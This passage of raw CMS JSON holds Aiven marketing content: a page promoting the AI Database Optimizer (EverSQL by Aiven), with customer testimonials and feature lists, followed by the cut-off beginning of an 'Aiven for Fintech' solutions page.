center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"logos":[{"_key":"c27e5af05707","_ref":"2ad302ea-5565-4403-b917-4b9fc0a3f53b","_type":"reference"},{"_key":"b3f0b8907749","_ref":"600c9ec3-b196-4344-9c05-2304a170ca99","_type":"reference"},{"_key":"85e01873e6cd","_ref":"8243dd02-8eec-4188-8159-c6a4f7e305c6","_type":"reference"},{"_key":"edcf80643d6e","_ref":"47286764-04f2-47a7-8ad6-66855898c8df","_type":"reference"},{"_key":"b46e9f8ebc04","_ref":"2b3bb4b9-a304-4776-9846-b609b56ae29d","_type":"reference"}],"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Trusted by","variant":"logo"},{"_key":"8e6dc88a0998","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"isCarousel":true,"isHideItemLink":true,"items":[{"_key":"6992e2bdc5a5","_type":"testimonialItem","company":{"_ref":"eec1d50b-f1b0-479d-aa1c-e716089cb005","_type":"reference"},"content":[{"_key":"41b1d168beec","_type":"block","children":[{"_key":"f03f620714f2","_type":"span","marks":[],"text":"We were using MySQL right from the start, and I knew we were going to face performance issues. We were experiencing fast growth so I needed to pre-empt any problems. We looked around and saw that EverSQL by Aiven was a great solution for us"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-43ba8c18b4576d4ceb892477ac5feaccbdd1a3e6-50x33-svg","_type":"reference"}},"jobTitle":"Co-Founder and CTO, Lili","name":"Liran Zelkha"},{"_key":"2db31e8b78fb","_type":"testimonialItem","company":{"_ref":"9e9ae791-fb79-4967-8b21-ce71720ebbce","_type":"reference"},"content":[{"_key":"8a877bf223da","_type":"block","children":[{"_key":"16f7a2a62bc60","_type":"span","marks":[],"text":"EverSQL by Aiven has been an excellent tool for us. Previously, we were having numerous outages on our production website due to databases issues. By implementing EverSQL and their indexing optimisations we have not seen any outages in the last 6 months"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-272d50805a571cbcc9490e06f31acbe3ceb55453-1095x174-svg","_type":"reference"}},"jobTitle":"DevOps Engineer, BrandAlley","name":"Phil Brady"},{"_key":"1b1d5e5ba015","_type":"testimonialItem","content":[{"_key":"c206685069dd","_type":"block","children":[{"_key":"58b768de65460","_type":"span","marks":[],"text":"Our queries run so much faster! Thanks to EverSQL by Aiven for this amazing tool. Some of my queries that took 40+ seconds now complete in \u003c 4 seconds. Absolutely amazing"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-5f88665a7a3ad757f808f879e6b9922d7b3c5d05-800x114-png","_type":"reference"}},"jobTitle":"Technology Manager, Rusty","name":"Jason Metcalf"},{"_key":"d8a0f12b8035","_type":"testimonialItem","content":[{"_key":"8cfbe45c15bb","_type":"block","children":[{"_key":"0e8d95c060fb0","_type":"span","marks":[],"text":"EverSQL by Aiven has been a game-changer for us. It's like having a 24/7 DBA on the team. Our query performance has improved dramatically, directly boosting our user experience. Highly recommended for any data-intensive platform"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-a66801b2485e0e774efb33799969b5200dd2a1a4-820x231-png","_type":"reference"}},"jobTitle":"CEO, Sellix","name":"Daniele Servadei"},{"_key":"7ec3bfba1704","_type":"testimonialItem","content":[{"_key":"0a240083ac2f","_type":"block","children":[{"_key":"95f9881b801d0","_type":"span","marks":[],"text":"Our database was optimized with EverSQL by Aiven today. We were able to reduce the run time of our queries by more than 50%. It's an easy-to-use tool with great customer support"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.linkedin.com/posts/liorpeleg_i-rarely-recommend-services-or-solutions-activity-7044328343910948864-SCMC/?utm_source=share\u0026utm_medium=member_desktop"},"image":{"_type":"mainImage","alt":"Knowy","asset":{"_ref":"image-34e498036927d12c04389323cfc2298d9e1e7d93-195x65-png","_type":"reference"}},"jobTitle":"Co-owner, HippoCampus \u0026 Knowy","name":"Lior Peleg"},{"_key":"4d164d31605e","_type":"testimonialItem","content":[{"_key":"5d7de10de8d0","_type":"block","children":[{"_key":"1534266b177d0","_type":"span","marks":[],"text":"I've been using EverSQL by Aiven for database optimization and it's been an absolute game changer. Their platform is incredibly easy to use and has helped me identify and resolve SQL performance issues quickly and efficiently"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.linkedin.com/posts/dagan-chen-593400a6_i-just-wanted-to-take-a-moment-to-give-a-activity-7033062501671972864-yIeE/"},"image":{"_type":"mainImage","asset":{"_ref":"image-39c2f5ac209997f9ee4f15ea03fe1f541bfa94f8-874x183-svg","_type":"reference"}},"jobTitle":"head of R\u0026D, Arbox","name":"Dagan Chen"},{"_key":"a71422ae41a3","_type":"testimonialItem","content":[{"_key":"524e6d398872","_type":"block","children":[{"_key":"0a04af43f40d0","_type":"span","marks":[],"text":"Shoutout to EverSQL by Aiven for excellent support and product. They use AI to assist in addressing database performance issues and for trend awareness. Often times databases perform different as scale changes and EverSQL helps navigate those changes"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://twitter.com/brian_dlee/status/1661113470786613248"},"image":{"_type":"mainImage","asset":{"_ref":"image-8000967f96e00f36fc69f6c03bf288b7568f6d4c-224x68-svg","_type":"reference"}},"jobTitle":"VP of Engineering, Nellis Auction","name":"Brian Lee"},{"_key":"77076f9e0e62","_type":"testimonialItem","content":[{"_key":"49df36d55d60","_type":"block","children":[{"_key":"c92545abf9b30","_type":"span","marks":[],"text":"EverSQL by Aiven has truly been a game-changer for MemberStack. It helped us optimize several slow queries from ~10 seconds to 50ms - the performance boost has been staggering! If you're a company looking to take your database performance to the next level, I can't recommend EverSQL enough!"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-ab8303d232be5e99791b0bd6b440713856a7c4b0-956x190-svg","_type":"reference"}},"jobTitle":"Co-founder, MemberStack","name":"Tyrel Bell"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"logo"},{"_key":"01355f809197","_type":"arcade","addSpaceBottom":true,"addSpaceTop":false,"arcadeHeight":47,"arcadeID":"PLioPi8HXkW5CoOTfgx8","arcadeTitle":"Database Optimizer interactive demo","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"id":"demo","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"0570cd7d9c87","_type":"block","children":[{"_key":"6c8b1c75a7cc","_type":"span","marks":[],"text":"A holistic view of your database workloads, with AI-driven improvement suggestions, directly available in the Aiven Console. Speed up your slow PostgreSQL and MySQL queries. Start a "},{"_key":"e88065b9ddea","_type":"span","marks":["bc4c1e5fba16"],"text":"free trial on Aiven for PostgreSQL"},{"_key":"d4fd2274b6c3","_type":"span","marks":[],"text":" to check it out."}],"markDefs":[{"_key":"bc4c1e5fba16","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"}],"tagline":"Try it yourself","title":"Aiven AI Database Optimizer, your personal AI-powered DBA","topOverlap":false,"variant":"default"},{"_key":"1b5e69f3e92d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Use cases","title":"How does it all work together","variant":"centerColumn"},{"_key":"51955fe1f3de","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Automate database performance insights","text":[{"_key":"348ef7e11889","_type":"block","children":[{"_key":"0e4274b630880","_type":"span","marks":[],"text":"Having a slow PostgreSQL® or MySQL®? High CPU levels?"}],"markDefs":[],"style":"normal"},{"_key":"c06246801165","_type":"block","children":[{"_key":"aaa9b83dc0ac","_type":"span","marks":[],"text":"Solve "},{"_key":"448b8e690e5d","_type":"span","marks":["406bce0a9176"],"text":"PostgreSQL®"},{"_key":"b42579df9a74","_type":"span","marks":[],"text":" and "},{"_key":"014c6795339e","_type":"span","marks":["8418798aca42"],"text":"MySQL"},{"_key":"7985f3d293f9","_type":"span","marks":[],"text":" performance issues in "},{"_key":"37aa81b910df","_type":"span","marks":["strong"],"text":"minutes instead of hours"},{"_key":"e27943dc3fdb","_type":"span","marks":[],"text":" by receiving AI-driven performance insights and optimisation suggestions."}],"markDefs":[{"_key":"406bce0a9176","_type":"link","href":"https://aiven.io/postgresql"},{"_key":"8418798aca42","_type":"link","href":"https://aiven.io/mysql"}],"style":"normal"},{"_key":"3b37f9befbd4","_type":"block","children":[{"_key":"f4de54ee88990","_type":"span","marks":[],"text":"Detect performance issues by browsing a holistic view of the query patterns hitting your database"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"669924633c5f","_type":"block","children":[{"_key":"65f951fbbf2d0","_type":"span","marks":[],"text":"Receive AI-driven optimisation suggestions to improve performance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ca0151e13dff","_type":"block","children":[{"_key":"a4c01915e7370","_type":"span","marks":[],"text":"Free up your DBA resources to spend more time on high-value tasks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"642c363f6adc","_type":"block","children":[{"_key":"bd0f7c555a11","_type":"span","marks":[],"text":"Example: "},{"_key":"f1c43d3693f20","_type":"span","marks":["8198d7a18ec9"],"text":"How Aiven helps Lili to expand and keep impressing customers"}],"markDefs":[{"_key":"8198d7a18ec9","_type":"link","href":"https://aiven.io/blog/better-business-banking-how-aiven-helps-lili-to-expand"}],"style":"normal"}],"title":"Resolve database performance issues 100x faster","variant":"mediaLeft","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"k8vat2ca7n","id":124110515},"ytId":"fOavII9QAmg"},{"_key":"68ec90ab2489","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"infoBanner":{"_ref":"7433da85-17af-4e71-ba9f-5e8bf8a9a266","_type":"reference"},"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"default"},{"_key":"95bbfa2a7be3","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":true,"fullWidth":false,"infoBanner":{"_ref":"95ab30d7-60e2-4490-a47e-1e277ef07ae7","_type":"reference"},"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"default"},{"_key":"42a1207bbcdb","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"OPTIMIZATION SUGGESTIONS AT DEVELOPERS' FINGERTIPS","text":[{"_key":"cdd36be70a76","_type":"block","children":[{"_key":"1a39a1d5006c0","_type":"span","marks":[],"text":"Write performant code "},{"_key":"816705f416fb","_type":"span","marks":["strong"],"text":"100x faster"},{"_key":"fcd85319b6a6","_type":"span","marks":[],"text":" by providing developers with index and SQL rewrite recommendations with the "},{"_key":"d2d3a738720a","_type":"span","marks":["63baf71faae4"],"text":"SQL Optimizer"},{"_key":"085f256a539f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"63baf71faae4","_type":"link","href":"https://aiven.io/tools/sql-query-optimizer"}],"style":"normal"},{"_key":"29dc6bea1991","_type":"block","children":[{"_key":"b7e7e2d076b10","_type":"span","marks":[],"text":"Address performance issues directly in the development phase"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8edc17e9a22c","_type":"block","children":[{"_key":"1c2cc3ed19a80","_type":"span","marks":[],"text":"Speed up scalable code creation by receiving AI-driven, automatic performance feedback"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5df62074bee9","_type":"block","children":[{"_key":"04528f828d240","_type":"span","marks":[],"text":"Enhance developers’ database performance literacy with the detailed improvement explanations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5903d322ec69","_type":"block","children":[{"_key":"459fefeea3510","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"fcb52ddeea5f","_type":"block","children":[{"_key":"1b6f92692a3c","_type":"span","marks":[],"text":"Example: "},{"_key":"6037f12ab6900","_type":"span","marks":["faacd4cf8064"],"text":"How to speed up MySQL and PostgreSQL queries for FREE"}],"markDefs":[{"_key":"faacd4cf8064","_type":"link","href":"https://youtu.be/g_ajzAaQ3zI"}],"style":"normal"}],"title":"Write performant code faster","variant":"mediaLeft","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"6ne1mjsfzq","id":124110527},"ytId":"g_ajzAaQ3zI","ytImg":{"_type":"mainImage","asset":{"_ref":"image-99283b37789db90e299e06afb6377e32de792105-1920x1080-png","_type":"reference"}}},{"_key":"fe1938368627","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"left","items":[{"_key":"c3889baa77d3","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"026d09c9541b","_type":"block","children":[{"_key":"0ca0233af51b0","_type":"span","marks":[],"text":"Stop wasting time looking at monitoring dashboards. Receive automated insights about performance degradation with actionable improvement suggestions."}],"markDefs":[],"style":"normal"}],"title":"Shorten the time to performance fixes","variant":"icon-card"},{"_key":"50798c8cfb64978b698bfb6ea01479ae","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e5e81b49763c","_type":"block","children":[{"_key":"a262f282cc350","_type":"span","marks":[],"text":"Receive AI-driven index and SQL rewrite suggestions to increase the database performance for your applications."}],"markDefs":[],"style":"normal"}],"title":"Speed up database performance","variant":"icon-card"},{"_key":"450c7d59b6282257e05308c1110b3171","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"31a983d395ba","_type":"block","children":[{"_key":"1c0ef1438eef0","_type":"span","marks":[],"text":"Complement the internal team knowledge with database performance insights, suggestions and learning opportunities. Available 24/7."}],"markDefs":[],"style":"normal"}],"title":"Enhanced know-how for technical teams","variant":"icon-card"},{"_key":"cd060228294c2db9987770959086f833","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e5557c674908","_type":"block","children":[{"_key":"cc833d8a4dc7","_type":"span","marks":[],"text":"Create fast feedback loops for database performance improvement directly in developers' workflows. Improve your agility and scalability by optimizing your database workloads to maximize the resource usage and keep cloud cost under control."}],"markDefs":[],"style":"normal"}],"title":"Develop scalable applications faster and optimize your cloud investment","variant":"icon-card"},{"_key":"84017ac62342","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1029b1b8417c","_type":"block","children":[{"_key":"fd80132fe36d0","_type":"span","marks":[],"text":"Data privacy and security are the outmost priority. The AI Database Optimizer doesn't access customer data, but only metadata. Moreover the information collected from one customer is not used as part of the database optimization process of other customers."}],"markDefs":[],"style":"normal"}],"title":"A secure, non-intrusive, AI solution","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-none","subtitle":[{"_key":"4c7bdda313b9","_type":"block","children":[{"_key":"c9b66654fed80","_type":"span","marks":[],"text":"A slow database means unresponsive applications, poor customer experience and ultimately churn."}],"markDefs":[],"style":"normal"},{"_key":"4e6c33dee82b","_type":"block","children":[{"_key":"13ac85b446550","_type":"span","marks":[],"text":"With Aiven AI Database Optimizer you can solve PostgreSQL and MySQL performance issues in minutes rather than days and enable your developers to build scalable applications faster."}],"markDefs":[],"style":"normal"}],"title":"Benefits of Aiven AI Database optimizer","topOverlap":false},{"_key":"5ab7ff4b3d3e","_type":"iconList","addSpaceBottom":true,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":true,"headerPosition":"left","iconSize":24,"icons":[{"_key":"ee4dd534d9b5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9d816cce2b41","_type":"block","children":[{"_key":"f8fd209107b8","_type":"span","marks":[],"text":"Stop wasting time looking at monitoring dashboards. Receive automated insights about performance degradation with actionable improvement suggestions."}],"markDefs":[],"style":"normal"}],"title":"Shorten the time to performance fixes"},{"_key":"dd2b11c900f5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-1e1ef44fb73b5346c388c66f74fa221fe483b422-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d5a6ab21e01d","_type":"block","children":[{"_key":"b3179356fae8","_type":"span","marks":[],"text":"Receive AI-driven index and SQL rewrite suggestions to increase the database performance for your applications."}],"markDefs":[],"style":"normal"}],"title":"Speed up database performance"},{"_key":"2409f0dc85d2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2d497014d915","_type":"block","children":[{"_key":"6e069ce7bf80","_type":"span","marks":[],"text":"Complement the internal team knowledge with database performance insights, suggestions and learning opportunities. Available 24/7."}],"markDefs":[],"style":"normal"}],"title":"Enhanced know-how for technical teams"},{"_key":"f4a55e4231db","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"42240b8fa4f9","_type":"block","children":[{"_key":"20d08adcfbf2","_type":"span","marks":[],"text":"Create fast feedback loops for database performance improvement directly in developers' workflows. "}],"markDefs":[],"style":"normal"}],"title":"Develop scalable applications faster"},{"_key":"cebdb63c16ff","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3a6924167c22","_type":"block","children":[{"_key":"d1994069a580","_type":"span","marks":[],"text":"Optimize your databases to maximize the resource usage and keep cloud cost under control."}],"markDefs":[],"style":"normal"}],"title":"Optimize your cloud investment"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-tr-bl","subtitle":[{"_key":"c5dddb2921ff","_type":"block","children":[{"_key":"18f4241fdba7","_type":"span","marks":[],"text":"A slow database means unresponsive applications, poor customer experience and ultimately churn. "}],"markDefs":[],"style":"normal"},{"_key":"bb8ed06093ed","_type":"block","children":[{"_key":"eb4cbbc9260c","_type":"span","marks":[],"text":"With Aiven AI database optimizer you can solve PostgreSQL and MySQL performance issues in minutes rather than days and enable your developers to build scalable applications faster."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Aiven AI database optimizer"},{"_key":"f0ksuw5xj0i78r7meud6coq5lxjs49of","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"nyaz77fuzmsrwoxy8e2awdkhn4yo82zw","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"Start optimizing"},"image":{"_type":"mainImage","asset":{"_ref":"image-7e88920bf7f1bb168b1233b94eb5db016bcf50db-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"l98ungn1st6qxhvva2h3xf8ryqpsmezd","_type":"block","children":[{"_key":"hc3qt3hjq5pjshej4sgncis3xkhnfv1m","_type":"span","marks":[],"text":"Optimize your PostgreSQL and MySQL queries with Smart AI-based algorithms for automatic re-writing and indexing."}],"markDefs":[],"style":"normal"}],"tagline":"Free tools","title":"SQL Optimizer","variant":"default"},{"_key":"connx23yzjub9pozsb79dj3e2vc13flq","_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_type":"whitepaper"},{"_key":"m4byo7ycuno5ut7q3ay29rkfor7qupk0","_ref":"27b51164-dd26-4fca-a8c0-cf0ebed0752f","_type":"webinar"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Explore our latest resources"},{"_key":"ehe0xd623tx934fjlp8i46r2efur4pek","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded","subtitle":[{"_key":"sc08kxn02did5tukaahmo9hu8sdhyhc7","_type":"block","children":[{"_key":"kg65dvtx1tq38fy1akgvqymy9r1qxtu3","_type":"span","marks":[],"text":"All inclusive pricing so you have no end of the month surprises.\nNo add-on maintenance, networking and storage fees."}],"markDefs":[],"style":"normal"}],"title":"Get started with Aiven today","variant":"centerColumn"},{"_key":"a5c714fd0ca1","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeFullWidth":true,"iframeHeight":800,"iframeSource":"https://embed-v2.testimonial.to/w/eversql?theme=light\u0026card=base\u0026subtitle=en","iframeTitle":"Testimonials from EverSQL customers","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"What do EverSQL by Aiven customers think?"}],"infoBanner":{"_ref":"2628877d-b6aa-44a5-bbdb-26caa11abc5f","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Troubleshoot PostgreSQL® and MySQL database performance issues within seconds, get instant optimization recommendations, and reduce your databases cost. \n ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7f2829964f60c531513a4a9c7bcfc461bf3ba604-5000x2625-jpg","_type":"reference"}},"metaTitle":"DB Optimizer | Tool for Database optimization with AI | By Aiven"},"slug":{"_type":"slug","current":"/solutions/aiven-ai-database-optimizer"},"title":"Aiven AI database optimizer"} {"__i18n_lang":"en","_createdAt":"2024-09-17T19:43:45Z","_id":"8f78eb23-e1ba-46bf-b150-336732e1648e","_rev":"R4zj9VDraGU9JFViGeBmGr","_type":"solution","_updatedAt":"2024-12-18T17:30:27Z","content":[{"_key":"tyn3k5jfjxz6zmtjyu6nydy5bot07jsa","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-b97985a8208abc1059d1fee8be898972517ff18e-2880x1130-jpg","_type":"reference"}},"backgroundPosition":"center bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Aiven for Fintech","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"1a26c0b25332","_type":"block","children":[{"_key":"493c2a49b8d10","_type":"span","marks":["color-primary"],"text":"Future-proof Fintech \n"},{"_key":"9c0d9f18ffbe","_type":"span","marks":[],"text":"with Aiven"}],"markDefs":[],"style":"h1"},{"_key":"3b237b0bd024","_type":"block","children":[{"_key":"b34539d2f9b60","_type":"span","marks":[],"text":"Aiven's Data and AI platform delivers the essential building blocks for modern fintech: cost-effective data management, robust compliance, and effortless scalability."}],"markDefs":[],"style":"normal"}],"heroHasVideo":false,"imageSize":"large","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Schedule a demo"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"title":"Future-proof Fintech with Aiven","titleMultiColor":true,"variant":"compact","ytId":"LTmREm3BchY"},{"_key":"ivbzjuhgrnehyr0ap4z4j3tdbzqc517c","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"jobuebjtl4g6e2makbdi7tnxhaj1qrwm","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"644e4b609d63","_type":"block","children":[{"_key":"6ddb087aac980","_type":"span","marks":[],"text":"Harness the power of real-time data to enhance fraud detection and assess risk profiles with greater accuracy to practice responsible lending and minimize your risk exposure."}],"markDefs":[],"style":"normal"}],"title":"Risk Mitigation"},{"_key":"59xmm5p2cs4a2bkwha0grv0rl45mjvkg","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"af2811deb2e3","_type":"block","children":[{"_key":"16705dabb6010","_type":"span","marks":[],"text":"Provide consistent and reliable access to financial services that withstands disruptions and minimizes downtime to build trust among customers."}],"markDefs":[],"style":"normal"},{"_key":"yj90z2tws26g12b8da1s468wmeun2ny6","_type":"block","children":[{"_key":"33tn1n4vb62r2rez8isb5qtpqptij95g","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Operational Resilience"},{"_key":"oseec2u8is1foqjozgmsu15e6a4pd4d2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b906bd9ecfb757a49df951be6a8774a06313ba40-22x20-svg","_type":"reference"}},"subtitle":[{"_key":"047d4fa83112","_type":"block","children":[{"_key":"e97661020ef90","_type":"span","marks":[],"text":"Regulations like GDPR, CCPA, and industry-specific standards require robust security measures to protect your financial data. Ensure data privacy, access control, and compliance with ever-evolving regulations."}],"markDefs":[],"style":"normal"}],"title":"Complex Regulatory Landscape"},{"_key":"3lrhw4pxzxteexz9j15kizwkm0a4ey1x","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"43d938dffcb8","_type":"block","children":[{"_key":"127908baadb30","_type":"span","marks":[],"text":"With rising interest rates and slowing economic activity, driving down operating costs is a top priority. Managing expenses allows you to improve profitability and continue to invest in innovation."}],"markDefs":[],"style":"normal"}],"title":"Cost Optimization"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"bed8a1796f38","_type":"block","children":[{"_key":"ed0da1c0f2600","_type":"span","marks":[],"text":"Fintech companies are revolutionizing how we manage money, make payments, and access financial services. Understanding the key drivers of this transformation are critical to propelling your business to the forefront of financial innovation"}],"markDefs":[],"style":"normal"}],"title":"Foundations of 